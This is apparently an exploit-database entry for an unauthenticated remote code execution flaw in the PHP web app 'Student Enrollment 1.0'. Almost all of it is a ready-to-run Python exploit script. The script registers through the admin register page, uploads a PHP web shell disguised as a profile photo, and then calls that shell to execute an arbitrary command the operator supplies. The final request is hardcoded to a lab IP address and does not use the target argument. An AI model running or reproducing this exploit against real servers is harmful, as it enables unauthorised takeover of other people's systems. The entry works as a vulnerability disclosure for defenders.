Student Enrollment 1.0 Remote Code Execution

2020.06.25
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Student Enrollment 1.0 - Unauthenticated Remote Code Execution # Date: 2020-06-22 # Exploit Author: Selim Enes 'Enesdex' Karaduman # Vendor Homepage: https://www.sourcecodester.com/php/14281/online-student-enrollment-system-using-phpmysqli.html # Version: 1.0 # Tested on: Windows 10 / WampServer # Usage : python3 exploit.py -u TARGET_URL -c CODE_TO_EXECUTE import requests import string import random import sys import getopt options, remainder = getopt.gnu_getopt(sys.argv[1:], 'hu:c:') for opt, arg in options: if opt in ('-h'): print('Usage: python3 exploit.py -u TARGET_URL -c CODE_TO_EXECUTE') exit() elif opt in ('-u'): url = arg elif opt in ('-c'): cmd = arg res = ''.join(random.choices(string.ascii_uppercase + string.digits, k = 10)) session = requests.session() burp0_url = url+"/admin/register.php" burp0_cookies = {} burp0_headers = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Referer": "http://192.168.1.100/student_enrollment/admin/register.php", "Content-Type": "multipart/form-data; boundary=---------------------------5220369311929647034402434351", "Connection": "close", "Upgrade-Insecure-Requests": "1"} burp0_data = "-----------------------------5220369311929647034402434351\r\nContent-Disposition: form-data; name=\"name\"\r\n\r\n"+res+"\r\n-----------------------------5220369311929647034402434351\r\nContent-Disposition: form-data; name=\"email\"\r\n\r\n"+res+"@gmail.com\r\n-----------------------------5220369311929647034402434351\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+res+"\r\n-----------------------------5220369311929647034402434351\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n12345678\r\n-----------------------------5220369311929647034402434351\r\nContent-Disposition: form-data; name=\"c_password\"\r\n\r\n12345678\r\n-----------------------------5220369311929647034402434351\r\nContent-Disposition: form-data; name=\"photo\"; filename=\"a.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n$cmd = shell_exec($_GET['cmd']); echo $cmd;\n?>\n\r\n-----------------------------5220369311929647034402434351\r\nContent-Disposition: form-data; name=\"register\"\r\n\r\n\r\n-----------------------------5220369311929647034402434351--\r\n" session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data) rce = requests.get("http://192.168.1.100/student_enrollment/admin/images/"+res+".php?cmd="+cmd) get_code = rce.text print("Exploit Author--> Selim Enes 'Enesdex' Karaduman") print(get_code)


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